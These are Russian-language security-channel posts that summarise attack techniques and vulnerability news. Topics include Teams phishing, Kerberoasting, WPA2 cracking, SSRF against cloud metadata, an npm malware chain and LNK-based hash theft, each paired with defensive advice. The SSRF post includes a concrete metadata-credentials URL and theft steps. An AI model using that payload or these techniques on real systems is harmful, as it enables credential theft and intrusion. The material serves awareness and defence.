Codeby

🔓 Microsoft Teams — не мессенджер, а точка входа в вашу инфраструктуру Почтовые фильтры натренированы ловить фишинг. Но что если атака вообще не проходит через email? Три вектора, которые сейчас активно эксплуатируются в реальных кампаниях, используют Microsoft Teams как стартовую площадку. И каждый из них обходит MFA. ⚡️ Вектор 1: Device Code Phishing Самый элегантный и самый опасный. Device code flow — штатный механизм OAuth 2.0, придуманный для устройств без клавиатуры (Smart TV, IoT). Пользователь заходит на microsoft.com/devicelogin, вводит код, проходит полную аутентификацию включая MFA — push, SMS, TOTP, даже FIDO2. Всё срабатывает штатно. Токен просто уходит на инфраструктуру злоумышленника. Современные PhaaS-платформы превратили это в конвейер: фишинговые страницы генерируют device code динамически, AI-модули персонализируют приманки под конкретные рабочие процессы — тендеры, DocuSign, формы Microsoft. Жертва авторизуется на настоящем сайте Microsoft. Ничего подозрительного в процессе нет. MFA обходится by design, а не через уязвимость. 🎭 Вектор 2: Вишинг через Teams Атакующий пишет сотрудникам через External Access, представляясь ИТ-поддержкой. Несколько человек отказываются, но один соглашается предоставить удалённый доступ через Quick Assist — встроенный инструмент Windows. Одного хватает. Дальше — без участия жертвы: перенаправление на поддельную форму входа, загрузка MSI-пакета с вредоносной DLL, установка C2-канала, перемещение по сети через living-off-the-land. Вектор не масштабируется — один оператор на одну жертву — но одного успешного захода достаточно для полной компрометации. 🕸 Вектор 3: AiTM-прокси Adversary-in-the-middle через прокси перехватывает сессионные токены в реальном времени. Типичная цепочка: email с PDF → ссылка на домен атакующего → прозрачное проксирование настоящей страницы логина Microsoft → перехват cookie и токена после успешной аутентификации. По оценкам исследователей, такие кампании затрагивают десятки тысяч пользователей в тысячах организаций. 📌 Что объединяет все три вектора? Teams — не просто чат. Это OAuth-клиент с доступом к Microsoft Graph API, SharePoint и Entra ID. Компрометация через Teams даёт атакующему не пароль в открытом виде, а живой токен с правами пользователя внутри тенанта. Для SOC это выглядит как обычная работа сотрудника — пока не настроены правильные корреляции. Что делать прямо сейчас? Заблокируйте device code flow через Conditional Access, ограничьте External Access в Teams, заблокируйте Quick Assist через GPO или Intune. Полный разбор всех техник с маппингом на MITRE ATT&CK и конкретными мерами защиты — в статье на форуме. https://codeby.net/threads/ataki-cherez-microsoft-teams-krazha-uchetnykh-dannykh-i-obkhod-mfa-tekhniki-i-zashchita.93034/

«Кибербезопасность крупных ecommerce проектов» — доклад на конференции GetNet 2026 15 мая очно в Москве и онлайн 🎤 Спикер Данила Тарасов, операционный директор в компании Mygento, покажет на реальных кейсах, почему основные угрозы приходят не от хакеров снаружи, а от внутренних уязвимостей — ошибок в разработке, инфраструктуре и человеческом факторе. Что в докладе: — Утечка заказов FMCG-гиганта через уязвимый браузер в контакт-центре — Открытый Git-репозиторий с сертификатами: сценарий полного компромисса — Типовые провалы: незащищённые API, секреты в коде, слабые CI/CD-пайплайны — Почему периметровая защита бесполезна против внутренних ошибок Регистрация на GetNet А ещё есть презентация со всеми докладами

75% вторжений в 2024 году — без единого эксплойта. Атакующие просто вошли. Не через уязвимость. Не через zero-day. Через дверь — с валидным логином и паролем. Среднее время от входа до латерального перемещения по сети — 62 минуты, а рекорд — 51 секунда. Identity стала главным вектором атак, и вот почему это касается каждого. 🔑 Мы привыкли думать, что MFA решает проблему. Но в реальности второй фактор — это замедлитель, а не стена. AiTM-прокси вроде Evilginx2 перехватывают сессионные cookie в реальном времени, пока жертва вводит свой одноразовый код. Push-усталость заставляет человека нажать «Подтвердить» в три часа ночи, лишь бы уведомления прекратились. SIM-свопинг вообще убирает телефон из уравнения. ⚡️ Цепочка атаки выглядит как лестница из четырёх ступеней: 1. Учётные данные — credential stuffing из утёкших баз, password spraying, покупка логов у инфостилеров. По Verizon DBIR 2025, 38% утечек начинаются именно так. 2. Обход MFA — AiTM-фишинг, перехват OTP, push-бомбинг. 3. Токены и билеты — OAuth-токены, Kerberos TGT/TGS, Primary Refresh Token в Azure AD. Всё это работает без пароля и без MFA. Pass-the-Ticket, Pass-the-Cookie, token replay — атакующий действует от имени легитимного пользователя. 4. Закрепление — Golden Ticket, долгоживущие refresh tokens, скомпрометированный Identity Provider. Сброс пароля жертвы на этом этапе уже ничего не даёт. 🎯 Отдельная боль — Kerberos. Протоколу больше 30 лет, но он по-прежнему ядро аутентификации Active Directory. Kerberoasting не требует привилегий Domain Admin. Любой доменный пользователь запрашивает сервисный билет, зашифрованный хэшем пароля сервисной учётки, и крекает его офлайн. KDC при этом видит абсолютно легитимный запрос. AS-REP Roasting ещё проще — для аккаунтов с отключённой преаутентификацией доменная учётка даже не нужна. И ещё одна цифра, которая должна не давать спать спокойно: медианное время исправления утёкшего секрета на GitHub — 94 дня. Три месяца API-ключ или токен лежит в открытом доступе. Понятие «учётные данные» давно вышло за рамки логина и пароля — теперь это JWT, API-ключи, CI/CD-секреты, сервисные аккаунты облаков. 🛡 Что делать прямо сейчас? Проверьте AD на Kerberoastable-аккаунты и учётки без преаутентификации. Внедрите FIDO2 вместо SMS и push. Мониторьте аномальные запросы TGS-билетов. Это минимум, который закрывает самые массовые векторы. В полной статье — детальная карта атак на identity с разбором каждой техники, инструментов и методов детекта. https://codeby.net/threads/ataki-na-autentifikatsiyu-polnyi-razbor-tekhnik-komprometatsii-oauth-mfa-kerberos-i-identity-infrastruktury.93646/

11 минут на одной RTX 4090 — и корпоративный Wi-Fi сдался На недавнем Red Team проекте для крупного ритейлера точку входа во внутренний периметр нашли не через VPN, не через фишинг — а через Wi-Fi с WPA2-PSK. Пароль был вида Company2024! — название компании, год, восклицательный знак. Hashcat со словарём rockyou и правилом best64 разобрался за считанные минуты. Итог: три этажа офиса, двести сотрудников, VLAN-сегментация — всё доступно с парковки через направленную антенну. И это не единичный случай. Компании вкладывают миллионы в WAF, EDR, SIEM, а беспроводной вектор остаётся слепым пятном. Wi-Fi — один из самых недооценённых путей initial access в реальных пентестах. 🔑 Почему это работает так легко? WPA2-PSK уязвим к офлайн-перебору. Атакующему достаточно перехватить PMKID (даже без подключённых клиентов!) или классический 4-way handshake после деаутентификации. Дальше — дело GPU. На RTX 3090 Hashcat выдаёт около 1 MH/s на WPA-PBKDF2, на RTX 4090 — до 1.8 MH/s. Словарь rockyou с мутациями (~1 млрд кандидатов) прогоняется за 10–15 минут. Восьмизначный цифровой пароль падает ещё быстрее. Но есть нюанс: 12+ случайных символов со спецсимволами — вне досягаемости любого текущего железа. Разница между "взломали за 11 минут" и "не взломали вообще" — буквально в качестве пароля. 📡 А что с WPA3? WPA3-SAE убирает офлайн-перебор — протокол Dragonfly не отдаёт хеш для брутфорса. Звучит надёжно. Но на практике большинство корпоративных сетей работают в Transition Mode (WPA2 + WPA3 одновременно), чтобы не ломать совместимость со старыми устройствами. А это значит — атакующий просто принудительно даунгрейдит клиента до WPA2 и работает по старой схеме. Transition Mode — это иллюзия безопасности, а не реальная защита. ⚙️ Ещё один мощный вектор — Evil Twin. Поднимаешь поддельную точку доступа с тем же SSID, деаутентифицируешь клиентов от настоящей — и они переподключаются к тебе. Для WPA2-Enterprise это вообще золотая жила: инструмент eaphammer поднимает фейковый RADIUS и собирает доменные учётки в открытом виде, если клиенты не валидируют сертификат сервера. Что из этого следует? Беспроводной пентест — не экзотика, а обязательная часть аудита. И техники, и инструменты давно зрелые. В полном гайде — пошаговые команды, выбор адаптеров, разведка эфира и разбор каждого вектора с примерами. https://codeby.net/threads/vzlom-wifi-ataki-na-wpa2-i-wpa3-prakticheskii-gaid-dlya-pentestera.93030/

👩‍💻GitHub В С Ё (скоро). В России снизилась доступность крупнейшей в мире платформы для IT-разработки GitHub. Доступность к сервису начала снижаться 5 мая: количество неудачных подключений к сайту в этот день достигло 10%. 6 и 7 мая оно выросло до 16%.

Роскомнадзор сообщил, что доступ к сервисам GitHub не блокирует.

По данным OONI, в США, Великобритании и Германии таких проблем не наблюдается, проблема затрагивает только РФ. На днях депутат по информационной политике Горелкин написал в своём ТГК:

Процент неудачных соединений с платформой, которую многие отечественные программисты используют для совместной работы с кодом, превысил 16%. Интересно, что проблема коснулась только пользователей из РФ – и поскольку РКН сообщает, что не ограничивает работу GitHub, остается лишь один вариант: сознательная дискриминация российских пользователей администрацией платформы. Эта компания не просто ушла из России, но занимается откровенным вредительством (чего, например, стоит тенденциозное «исследование» уровня внедрения ИИ). Так что не нужно удивляться проблемам с доступом к GitHub с территории РФ – думаю, что количество неудачных соединений с 16% уже скоро достигнет всех 100%. Поэтому я бы рекомендовал нашим разработчикам срочно переносить свои проекты на другие Git-репозитории. Да, за многие годы (и задолго до прихода Microsoft) GitHub стал не просто отраслевым стандартом, а центральной точкой многих систем. Но от этой зависимости пора уходить – тем более есть хорошие отечественные аналоги.

GitHub нет в реестре запрещённых сайтов Роскомнадзора, то есть официально сервис не заблокирован, однако запрещены более 130 страниц сервиса. #news #github #rkn #it 🔗 Все наши каналы 🔁 Все наши чаты 🪧 Для связи с менеджером

GitHub в опасности! 🧿 Исследователи обнаружили критическую уязвимость в GitHub.com и GitHub Enterprise Server, позволяющую аутентифицированному пользователю выполнить удалённый код (RCE) с помощью команды git push 🎯 Уязвимость CVE-2026-3854 (CVSS 8.7) — это инъекция команд через опции git push, которые не нормализовались перед включением в внутренний заголовок X-Stat. Разделитель (точка с запятой) из пользовательского ввода позволял получить дополнительные метаданные, обходя sandbox и хуки. ❗️ Компания Wiz, занимающаяся облачной безопасностью, принадлежащая Google, обнаружила проблему и сообщила о ней 4 марта 2026 года, после чего GitHub проверил и внедрил исправление на GitHub.com в течение двух часов. Уязвимость также была устранена в версиях GitHub Enterprise Server 3.14.25, 3.15.20, 3.16.16, 3.17.13, 3.18.8, 3.19.4, 3.20.0, или более поздних. Нет никаких свидетельств того, что проблема когда-либо использовалась злоумышленниками, но исключать её из внимания не стоит. ⬇️ При выполнении команды git push пользовательские значения опций push не подвергались должной очистке перед передачей во внутренние сервисные заголовки. Формат этих заголовков опирался на разделитель, который мог встречаться в обычном вводе пользователя, позволяя атакующему через специально подготовленные опции внедрять произвольные поля метаданных. Проблему выявили и сообщили через программу GitHub Bug Bounty 🧠 По данным GitHub, проблема затрагивает GitHub.com, GitHub Enterprise Cloud, GitHub Enterprise Cloud с функцией Data Residency, GitHub Enterprise Cloud с функцией Enterprise Managed Users и GitHub Enterprise Server. 🕸 Несмотря на быстрое исправление уязвимости, будьте внимательны и обращайте на каждую деталь в инфраструктуре! #github #cve #research 🔗 Все наши каналы 🔁 Все наши чаты 🪧 Для связи с менеджером

Каждая пятая компания из субъектов КИИ признала: к сроку не успеем Опрос BISA за 2024 год — только 7% организаций полностью выполнили требования указа №166. Ещё 8% «планировали успеть». Остальные — кто в частичном соответствии, кто честно разводит руками. И это не абстрактная статистика — за ней стоят реальные SOC-команды, которые прямо сейчас пытаются пересадить боевую инфраструктуру со Splunk и CrowdStrike на отечественные аналоги. Мы собрали полную карту импортозамещения в ИБ на 2025–2026 годы и вот что бросается в глаза. 🔹 Три указа — три разных дедлайна. Указ №166 запрещает использование иностранного ПО на значимых объектах КИИ с 1 января 2025. Указ №250 добавляет персональную ответственность руководителей и запрет на СЗИ из недружественных стран. А указ №309 расширяет круг субъектов, обязанных взаимодействовать с ГосСОПКА. Путаница между ними — ошибка, которую допускают даже опытные ИБ-руководители. 🔹 Рынок вырос до 191,7 млрд рублей. Solar, Bi.Zone, Positive Technologies скупили стартапы и сформировали собственные стеки. Три года назад российские продукты закрывали от силы 60% нужных функций. Сегодня разрыв сократился, но между маркетинговыми обещаниями и поведением на боевой инфраструктуре по-прежнему пропасть. 🔹 Штрафы и уголовка — не абстрактная угроза. Административка по ст. 13.12 КоАП — до 500 тысяч рублей. А если инцидент произошёл из-за нарушения правил эксплуатации значимого объекта КИИ, ст. 274.1 УК РФ предусматривает до 10 лет лишения свободы. Персональная ответственность теперь лежит на первом лице организации. Что важно для практика прямо сейчас: • SIEM — MaxPatrol SIEM и KUMA стали основными претендентами на замену Splunk и QRadar. Но миграция правил корреляции — это не «экспорт-импорт», а полноценная переработка логики под другую архитектуру. • EDR — PT Sandbox, Kaspersky EDR тестируются с позиции Red Team, и результаты отличаются от того, что обещают даташиты. • Сканеры уязвимостей — MaxPatrol VM, RedCheck, ScanFactory закрывают разные ниши. Универсального решения нет, и выбор зависит от масштаба инфраструктуры. • WAF и NGFW — PT AF, UserGate, Континент конкурируют, но у каждого свои слепые зоны, видимые только при пентесте. Отдельная боль — сертификация ФСТЭК и ФСБ. Класс защиты СЗИ привязан к категории информационной системы, и ошибка в выборе класса может обнулить весь проект миграции. В полной статье — навигационная карта по каждому классу решений с детальными разборами и сравнениями на реальной инфраструктуре. https://codeby.net/threads/importozameshcheniye-v-informatsionnoi-bezopasnosti-polnaya-karta-rossiiskikh-siem-edr-skanerov-i-waf-dlya-praktika.93019/

Три GET-запроса до полного доступа: как SSRF превращается в ключи от облака Представьте: обычный PDF-генератор в финтех-приложении принимает URL для рендера документа. Подставляем http://169.254.169.254/latest/meta-data/iam/security-credentials/ — и через одиннадцать минут уже выполняем aws s3 ls с credentials IAM-роли, у которой права на S3 и DynamoDB. Это не лабораторный сценарий. В марте 2025 года F5 Labs зафиксировала массовую кампанию: атакующие перебирали шесть вариантов параметров (dest, file, redirect, target, uri, url) в сочетании с четырьмя путями к metadata endpoint. Автоматизированно, по всему интернету. 🔑 Почему в облаке всё иначе? На классическом сервере SSRF — это чтение /etc/passwd или сканирование внутренних портов. Неприятно, но терпимо. В облаке та же уязвимость открывает доступ к временным токенам IAM-роли, а это — путь ко всему аккаунту. Разница как между ключом от подсобки и мастер-картой от целого здания. Instance Metadata Service v1 в AWS не требует вообще ничего — ни токенов, ни заголовков. Простой GET на link-local адрес 169.254.169.254 возвращает всё. SSRF делает запрос от имени сервера, то есть изнутри — приложение само ходит за своими credentials и отдаёт их вам. ⚡️ Цепочка эксплуатации — три шага: 1. Подставляем в уязвимый параметр путь к metadata — получаем имя IAM-роли (например, webapp-prod-role) 2. Запрашиваем credentials конкретной роли — получаем JSON с AccessKeyId, SecretAccessKey и SessionToken 3. Экспортируем переменные окружения, запускаем aws sts get-caller-identity — если в ответе ARN роли, credentials рабочие Бонус: endpoint /latest/user-data часто содержит скрипты инициализации с паролями баз данных и API-ключами, которые разработчики вписали «для удобства при запуске». Удобно всем — особенно атакующему. 🛡 А что с GCP и Azure? Google Cloud требует заголовок Metadata-Flavor: Google, Azure — Metadata: true. Это усложняет атаку, но не закрывает её: если SSRF позволяет контролировать заголовки или есть CRLF-инъекция в URL-параметре, барьер обходится. А в ECS-контейнерах credentials живут по другому адресу — 169.254.170.2, и путь к ним лежит в /proc/self/environ. По MITRE ATT&CK цепочка выглядит так: SSRF как initial access (T1190) → кража credentials через metadata (T1552.005) → аутентификация в облачном API → перечисление ресурсов → выгрузка данных. Шесть шагов от веб-формы до полного компрометирования аккаунта. Полный разбор с командами, байпасами IMDSv2 и постэксплуатацией — в статье на форуме. https://codeby.net/threads/ssrf-ataka-na-oblachnyye-credentials-ekspluatatsiya-metadata-endpoint-ot-imdsv1-do-post-ekspluatatsii.93011/

3 847 алертов за ночь — и ни один не поймал lateral movement Представьте: утро понедельника, дашборд SOC завален почти четырьмя тысячами алертов. Из них 12 помечены как medium, остальные — low или informational. Где-то в этой каше прячется реальная атака: сервисная учётка аутентифицируется на 14 хостах за 40 минут. Ни одно правило корреляции не подняло приоритет. Нашли через 48 часов — по жалобе пользователя. Знакомая история? Корреляционные правила работают отлично, когда атакующий действует по учебнику: пять неудачных логинов за минуту — срабатывание на Brute Force. Но если злоумышленник использует легитимные учётные данные, полученные через фишинг или утечку, каждое событие по отдельности выглядит нормально. Порога для срабатывания просто нет. 🔍 Именно здесь включается ML-scoring. После того инцидента внедрили модель на Isolation Forest — unsupervised алгоритм, который не требует размеченных данных. Он строит ансамбль деревьев, изолирующих каждое наблюдение. Аномалии отделяются быстрее — меньше разбиений нужно, чтобы вычленить их из общей массы. Аналогичный паттерн lateral movement теперь получает risk score 94 из 100 за секунды. Реакция — 12 минут вместо двух суток. Но вот что важно понимать: это не магия. Модель работала поверх тех же логов, которые уже лежали в SIEM. Разница — в feature engineering: количество уникальных хостов за окно, доля неудачных попыток, частота DNS-запросов, объёмы трафика по направлениям. 📊 По данным SANS 2024 SOC Survey, удовлетворённость SOC-команд ML-инструментами — 2.17 из 5. Предпоследнее место среди всех категорий. Причина не в технологии, а в подходе: включили «из коробки» — не заработало — выключили. Без адаптации к конкретной среде ML в SOC обречён. Три класса угроз, где правила бессильны, а ML закрывает брешь: • Скомпрометированные легитимные учётки — сигнатуры нет, есть поведенческое отклонение • Low-and-slow атаки — действия растянуты во времени и не пробивают пороги • Insider threat — пользователь действует в рамках прав, но с аномальным паттерном ⚙️ Какие алгоритмы работают на практике? Isolation Forest — для сетевых аномалий и аутентификации. Autoencoders — основа UEBA, профилирование поведения пользователей и сущностей. One-Class SVM — для baseline конкретных хостов и сервисов. У каждого свои ограничения: Isolation Forest теряет точность при 30+ признаках, autoencoders чувствительны к drift и требуют переобучения каждые 2-4 недели. Полный разбор с примерами feature engineering, вендорной спецификой и практическими граблями внедрений — в статье на форуме. https://codeby.net/threads/machine-learning-v-kiberbezopasnosti-kak-ml-scoring-sokratil-triazh-soc-s-tysyach-alertov-do-desyatkov.93016/

🛡Apache2 только что выпустил новое обновление, которое закрывает опасную дыру в протоколе HTTP/2. ➡️Из очень важного, исправлена уязвимость CVE-2026-23918, дающая возможность удалённого доступа (RCE) с помощью "double-free" бага. ➡️Также исправлена уязвимость CVE-2026-24072, которая допускала повышение привелегий и затрагивала различные модули Apache HTTP версий 2.4.66 и ниже, позволяя локальным авторам файлов .htaccess читать файлы с привилегиями пользвоателя httpd. ▶️Исправлена уязвимость CVE-2026-28780, переполнения буфера в куче в модуле mod_proxy_ajp веб-сервера Apache HTTP Server. Если модуль mod_proxy_ajp устанавливает соединение со вредоносным AJP-сервером, этот сервер может отправить в ответ вредоносное AJP-сообщение, что приведет к записи 4 байтов, контролируемых злоумышленником, за пределами выделенного в куче буфера. ▶️Исправлена уязвимость CVE-2026-29168, «Выделение ресурсов без ограничений или регулирования» в модуле mod_md веб-сервера Apache HTTP Server, эксплуатируемая посредством данных OCSP-ответов. ▶️Исправлена уязвимость CVE-2026-33006, Атака по времени на модуль mod_auth_digest в Apache HTTP Server 2.4.66 позволяет удаленному злоумышленнику обойти Digest-аутентификацию. Полный список можно посмотреть здесь, но перед этим рекомендуем сделать:

sudo apt update && sudo apt upgrade apache2

Друзья 9 Мая – день памяти, уважения и благодарности тем, кто прошёл через тяжелейшие испытания и подарил нам возможность жить, учиться, работать и строить будущее. Пусть этот день напоминает о ценности мира, силе единства, уважении к истории и важности беречь то, что действительно дорого. Желаем Вам и Вашим близким здоровья, спокойствия, добра и мира. С Днём Победы! Команда Codeby

Взломанные npm-пакеты распространяют вредоносное ПО ⏺️ Специалисты Sonatype Security Research обнаружили два скомпрометированных npm-пакета в экосистеме React Native, которые вместе набирают свыше 30 000 загрузок еженедельно и были изменены для доставки многоэтапного вредоносного ПО. 🧠 Исследователи StepSecure первыми зафиксировали этот случай, выявили вредоносные версии и сообщили создателю пакетов, который сразу же отказался от их поддержки. Анализ C2-инфраструктуры показал совпадение IP-адресов с теми, что ранее ассоциировались с кампанией Glassworm. 🕸 В рамках регулярного сканирования open source экосистем Sonatype наткнулась на вредоносные обновления этих двух React Native пакетов. Пакеты впоследствии удалили из npm, но из-за их широкой популярности в сообществе возникает беспокойство за безопасность dev-сред и CI/CD-пайплайнов. Процесс извлечения полезной нагрузки осуществляется следующим образом: 1️⃣ Скрипт создает файл с именем init.json в домашнем каталоге пользователя, чтобы предотвратить его повторное выполнение в течение примерно двух дней. 2️⃣ Скрипт опрашивает RPC-терминалы Solana каждые 10 секунд на предмет транзакций, связанных с конкретным адресом кошелька. 3️⃣ При обнаружении транзакции, содержащей поле типа "memo", скрипт рассматривает это поле как контейнер команд. 4️⃣ Числовой префикс удаляется, а оставшееся содержимое анализируется как конфигурационные данные в формате JSON. 5️⃣ JSON-файл содержит закодированный в base64 URL-адрес, указывающий на полезную нагрузку второго этапа. 6️⃣ Скрипт декодирует URL-адрес и загружает полезную нагрузку, отправляя при этом операционную систему хоста в составе запроса. 7️⃣ Заголовки ответа содержат дополнительные параметры, такие как ivbase64 и secretkey . 8️⃣ Полезная нагрузка декодируется в формате base64 и выполняется непосредственно в памяти с помощью eval или виртуальной машины Node.js в изолированной среде на системах, отличных от macOS. ➡️ Встречали подобную атаку ранее? #npm #malware #react #research 🔗 Все наши каналы 🔁 Все наши чаты 🪧 Для связи с менеджером

19 дней от фишингового письма до терминала SWIFT: как устроены атаки на банки На одном red team проекте для банка из топ-30 команда прошла путь от spear-phishing письма до операторского АРМ SWIFT за 19 дней. Два файрвола, выделенный VLAN, формально изолированная secure zone — всё это обнулил один сервисный аккаунт с правами на обе зоны. Сегментация превратилась в декорацию. И это не уникальный случай. Тот же сценарий — почти покадрово — использовала Lazarus Group при взломе Bangladesh Bank ($81 млн украденных средств) и группировка Cobalt в атаке на российский «Глобэкс». 🔑 Главный инсайт: ни одна крупная атака на SWIFT не эксплуатировала уязвимость в самом протоколе. Каждый раз это многонедельная APT-операция через людей и корпоративную сеть вокруг secure zone. Как выглядит kill chain на практике: • Initial Access — таргетированное письмо оператору банка. Вложение замаскировано под платёжное поручение или запрос регулятора. PDF с макросами, иногда заражённая USB-флешка. Цель — закрепиться на любой рабочей станции в офисном сегменте. • Lateral Movement — самая долгая фаза. Атакующий перехватывает пароли через кейлоггер, снимает скриншоты рабочих столов, чтобы понять бизнес-процессы и вычислить операторов SWIFT. Среднее время от проникновения до вывода средств — 3–4 недели. Всё это время сигнатурные детекты молчат: аутентификация идёт под легитимными учётками. • Финал — формирование поддельных SWIFT-сообщений (MT103 для клиентских переводов, MT202 для межбанковских), модификация серверного ПО Alliance Access, чтобы подавить печать подтверждений и стереть записи из базы транзакций. ⚠️ Отдельный вектор, о котором мало говорят: в России до 2018 года ряд банков работал со SWIFT через сервис-бюро — посредников с доступом к IP-адресам и критической инфраструктуре клиентов. Компрометация одного такого посредника открывала путь сразу к десяткам банков. По сути — supply chain attack на финансовый сектор целой страны. Что реально помогает защититься: • EDR-агенты на каждом эндпоинте secure zone (а не только в офисном сегменте) — legacy-системы на Windows Server 2008/2012 часто остаются без покрытия вообще • Поведенческий анализ аутентификаций — валидные учётки не ловятся сигнатурами • Жёсткая ревизия сервисных аккаунтов с кросс-зонными правами — именно они превращают сегментацию в фикцию 📌 В полной статье — маппинг каждого шага на MITRE ATT&CK, разбор реальных инцидентов и готовые Sigma-правила для детекта. https://codeby.net/threads/ataki-na-swift-i-mezhbankovskiye-sistemy-kill-chain-ot-fishinga-do-vyvoda-sredstv.92972/

Windows - В С Ё! 🌐 Microsoft подтвердила активную эксплуатацию уязвимости CVE-2026-32202 в компоненте Windows Shell, которая позволяет красть учётные данные через SMB-аутентификацию. Эта проблема возникла из-за неполного патча для предыдущей уязвимости CVE-2026-21510, выпущенного в феврале 2026 года. 🕸 Уязвимость относится к классу spoofing (CVSS 4.3), но реальный риск выше из-за возможности латерального перемещения в сети. При просмотре папки с вредоносным LNK-файлом (ярлыком) Windows Shell автоматически разрешает UNC-путь в файле, инициируя SMB-соединение с сервером злоумышленника. В результате атакующий получает NTLMv2-хеш учётных данных пользователя без клика или запуска файла — достаточно открыть папку. 🧿 Изначально CVE-2026-21510 эксплуатировалась в атаках на Украину и ЕС в декабре 2025 года; февральский патч заблокировал RCE, но оставил вектор кражи credentials. Полное исправление вышло 14 апреля 2026 в Patch Tuesday (KB5083769 для Windows 11 24H2/25H2), но Microsoft 27 апреля обновила статус, подтвердив exploitation в wild. 28 апреля CISA добавила CVE в KEV-каталог. ↗️ Вектор эксплуатации CVE-2026-32202 основан на автоматическом разрешении UNC-путей в Windows Shell при просмотре папки с вредоносным LNK-файлом (ярлыком), что приводит к принудительной SMB-аутентификации без выполнения файла. Это zero-click сценарий: жертве достаточно открыть папку в Проводнике, чтобы система инициировала NTLM-аутентификацию на контролируемый атакующим сервер: Цепочка атаки: 1️⃣ Доставка payload: Злоумышленник размещает LNK-файл с UNC-путём вида \\server\share\file.lnk в доступной папке — через email-вложение, фишинговую ссылку на SMB-шар или сетевой ресурс. 2️⃣ Автоматическое разрешение: Жертва открывает папку в Проводнике; Windows Shell парсит LNK и автоматически резолвит UNC-путь, устанавливая SMB-соединение с server от имени текущего пользователя. 3️⃣ Кража NTLMv2-хеша: Сервер захватывает NTLMv2-челлендж/респонс (хеш пароля), не требуя клика по файлу — механизм защиты не блокирует сетевой вызов. 4️⃣ Постэксплуатация: Хеш используется для relay-атаки (NTLM relay на DC для DCSync или lateral movement), оффлайн brute-force или Pass-the-Hash ⬇️ Необходимо установить последнее обновление безопасности Windows KB5083769, отключить SMBv1 и спрятаться под одеяло мониторить UNC/LNK-файлы в сетевом трафике #windows #cve #smb #lnk 🔗 Все наши каналы 🔁 Все наши чаты 🪧 Для связи с менеджером

Шеллкод внутри музыки: почему EDR не слышит малварь в WAV-файлах Трёхминутный стерео-WAV при 44.1 кГц весит около 30 МБ и содержит порядка 15.8 миллионов сэмплов. Каждый сэмпл — 16-битное число. Замени младший бит в каждом из них — и получишь почти 2 МБ скрытой ёмкости. Амплитуда сдвинется на 1/65536 от полного диапазона. Ухо не заметит. EDR не заметит. Файл звучит как обычная музыка. Именно так работает LSB-стеганография — самый распространённый способ спрятать payload в аудио. И это не теория из CTF-задач. 🔊 В 2019 году Symantec зафиксировала, что группировка Turla использовала WAV-файлы для доставки кода на заражённые хосты. Параллельно исследователи Cylance нашли криптомайнеры и Metasploit-шеллы внутри аудио. Файлы воспроизводились без щелчков, без артефактов — чистый звук. С тех пор техника только развивается, а детект в большинстве организаций стоит на нуле. Почему атакующим это удобно: • Межсетевые экраны и DLP считают аудио безопасным медиаконтентом. GET-запрос на .wav с публичного CDN — для фильтра это «пользователь слушает музыку». • EDR реагирует на исполняемые файлы и скрипты, а WAV сам по себе не исполняется. Payload извлекает отдельный загрузчик, уже сидящий на хосте. • Атакующий может обновлять шеллкод, не трогая ничего на эндпоинте — просто заменил WAV на CDN, и бот тянет свежий payload. 🛡 Что с обнаружением? Ни CrowdStrike Falcon, ни Microsoft Defender for Endpoint, ни SentinelOne не инспектируют содержимое аудиофайлов. Поведенческий анализ сработает только на этапе исполнения извлечённого кода. Сам WAV проходит незамеченным. Но слабые места у техники есть. LSB-стеганография уязвима к статистическому анализу — тест хи-квадрат может выявить аномальное распределение младших битов. Правда, в реальных кампаниях payload шифруют перед встраиванием, и простые статистические тесты перестают работать. Ещё одно ограничение: метод не переживает lossy-сжатие. Если WAV прогнать через MP3-транскодер — шеллкод разрушится. Атакующий привязан к lossless-каналам. Помимо LSB существуют и другие подходы. Фазовое кодирование прячет данные в фазовых разностях сегментов — устойчивее к обработке, но ёмкость ниже. Спектральное встраивание помещает биты в частоты выше 14–16 кГц, где слух наименее чувствителен. А в той же кампании 2019 года Cylance обнаружила загрузчики на основе rand() с фиксированным seed — WAV звучал как белый шум, но после PRNG-декодирования превращался в полноценный PE-файл. 📖 В полной версии статьи — практические методы обнаружения, инструменты стегоанализа и конкретные скрипты для детекта. Рекомендуем к прочтению. https://codeby.net/threads/steganografiya-v-audiofailakh-kak-malvar-pryachut-vnutri-wav-i-kak-eto-obnaruzhit.92973/

Три громких утечки, которые ловились одной командой в терминале Capital One — избыточные привилегии IAM-роли. Майнинг криптовалюты на сайте Los Angeles Times — S3-бакет с ACL public-read-write. Вредоносный код в Twilio SDK — снова открытый бакет. Три инцидента на миллионы долларов, три мисконфигурации, которые ловятся одним проходом checkov -d . по Terraform-шаблону. Но только если сканирование вообще настроено. NSA в отчёте Mitigating Cloud Vulnerabilities прямо называет мисконфигурации наиболее распространённой уязвимостью облачных сред. А по данным IBM, среднее время обнаружения такого инцидента часто превышает шесть месяцев. В pipeline та же проблема находится за секунды. Разница — в точке, где вы проверяете. 🔍 Тысячи правил в IaC-сканерах сводятся к пяти категориям мисконфигураций: • Публичный доступ к ресурсам — открытые бакеты, базы данных с publicly_accessible = true, сервисы без ограничения source IP • Избыточные IAM-привилегии — политики с "Action": "*" и "Resource": "*", дающие полный контроль над аккаунтом • Отсутствие шифрования — EBS-тома, RDS, S3 без encryption, HTTP без TLS • Отключённое логирование — CloudTrail не во всех регионах, VPC Flow Logs не настроены, Kubernetes audit logging выключен • Избыточный сетевой доступ — Security Group с 0.0.0.0/0 на порт 22 или 3389 Каждая категория — прямой enabler для конкретных тактик MITRE ATT&CK. Открытый бакет — это T1580 (Cloud Infrastructure Discovery). Wildcard-роль — T1078.004 (Cloud Accounts). Пробел в логировании — T1562.008 (Disable Cloud Logs), и атакующему даже не нужно ничего отключать, потому что вы сами не включили. ⚙️ Отдельная боль — выбор между сканированием HCL-кода напрямую и сканированием Terraform Plan. Первый подход быстрый, не требует credentials, ставится как pre-commit hook. Но он не видит результат интерполяции переменных. Если значение ACL приходит из var.bucket_acl с дефолтом private, а при деплое кто-то передаёт public-read-write через флаг -var — сканер этого не увидит. Сканирование Plan JSON решает эту проблему: все переменные уже разрешены, вы видите реальные значения. Но нужен доступ к state backend и cloud API. Оптимальная стратегия — оба подхода последовательно: HCL-сканирование на pre-commit, Plan-сканирование в CI перед apply. 🛡 И ключевой момент: параллельно с preventive-сканированием стоит строить detection-правила в SIEM. Алерт на PutBucketAcl с публичными параметрами, на AttachRolePolicy с wildcard, на AuthorizeSecurityGroupIngress с CIDR 0.0.0.0/0 — это ваша страховка на случай, когда pipeline обошли. В полной статье — готовые примеры Terraform-кода с мисконфигурациями, маппинг на MITRE ATT&CK и конкретные detection-правила для каждой категории. 